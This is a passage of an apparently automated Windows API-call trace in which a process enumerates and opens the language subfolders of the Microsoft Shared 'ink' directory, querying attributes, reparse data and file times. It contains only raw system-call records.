RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.327] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.327] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.327] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946738 [0267.327] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.327] GetLastError () returned 0x12 [0267.327] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.327] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.327] GetLastError () returned 0x12 [0267.327] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946738) returned 1 [0267.328] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.328] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.328] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.328] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0267.328] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.328] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x957c78 [0267.328] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x957c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x957c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.328] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x957c78) returned 1 [0267.328] NtClose (Handle=0x198) returned 0x0 [0267.328] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.328] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.328] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946738 [0267.329] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.329] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.329] GetLastError () returned 0x12 [0267.329] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.329] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.329] GetLastError () returned 0x12 [0267.329] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0267.329] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.329] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.329] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.329] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0267.330] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.330] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x957c78 [0267.330] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x957c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x957c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.332] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x957c78) returned 1 [0267.332] NtClose (Handle=0x18c) returned 0x0 [0267.332] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.333] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.333] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.333] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.333] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.333] GetLastError () returned 0x12 [0267.333] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.333] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.333] GetLastError () returned 0x12 [0267.333] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.333] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.333] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.333] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.333] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0267.340] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.340] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x959c78 [0267.340] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x959c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x959c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.340] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959c78) returned 1 [0267.340] NtClose (Handle=0x198) returned 0x0 [0267.340] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.340] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.340] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.340] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946738 [0267.341] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.341] GetLastError () returned 0x12 [0267.341] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.341] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.341] GetLastError () returned 0x12 [0267.341] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946738) returned 1 [0267.341] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.341] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.341] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.341] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0267.343] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.343] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.343] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.343] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.343] NtClose (Handle=0x18c) returned 0x0 [0267.343] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.343] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.343] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946738 [0267.343] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.343] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.343] GetLastError () returned 0x12 [0267.344] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.344] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.344] GetLastError () returned 0x12 [0267.344] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0267.344] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.344] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.344] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.344] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0267.345] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.345] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.345] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.345] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.345] NtClose (Handle=0x198) returned 0x0 [0267.345] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.345] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.345] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.345] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.345] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.345] GetLastError () returned 0x12 [0267.345] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.345] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.345] GetLastError () returned 0x12 [0267.345] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.346] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.346] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.346] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.346] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0267.346] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.346] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.346] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.346] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.346] NtClose (Handle=0x18c) returned 0x0 [0267.347] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.347] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.347] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.347] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946738 [0267.347] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.347] GetLastError () returned 0x12 [0267.347] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.347] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.347] GetLastError () returned 0x12 [0267.347] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946738) returned 1 [0267.347] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.347] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.347] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.347] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0267.364] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.364] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.364] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.364] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.364] NtClose (Handle=0x198) returned 0x0 [0267.364] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.364] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.364] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946738 [0267.364] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.364] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.364] GetLastError () returned 0x12 [0267.364] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.365] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.365] GetLastError () returned 0x12 [0267.365] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0267.365] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.365] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.365] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.365] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0267.365] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.365] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.365] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.366] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.366] NtClose (Handle=0x18c) returned 0x0 [0267.366] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.366] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.366] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.366] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.366] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.366] GetLastError () returned 0x12 [0267.366] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.366] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.366] GetLastError () returned 0x12 [0267.366] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.366] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.366] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.366] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.367] GetLastError () returned 0x12 [0267.367] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9451f8) returned 1 [0267.367] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.367] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0267.367] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0267.367] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" 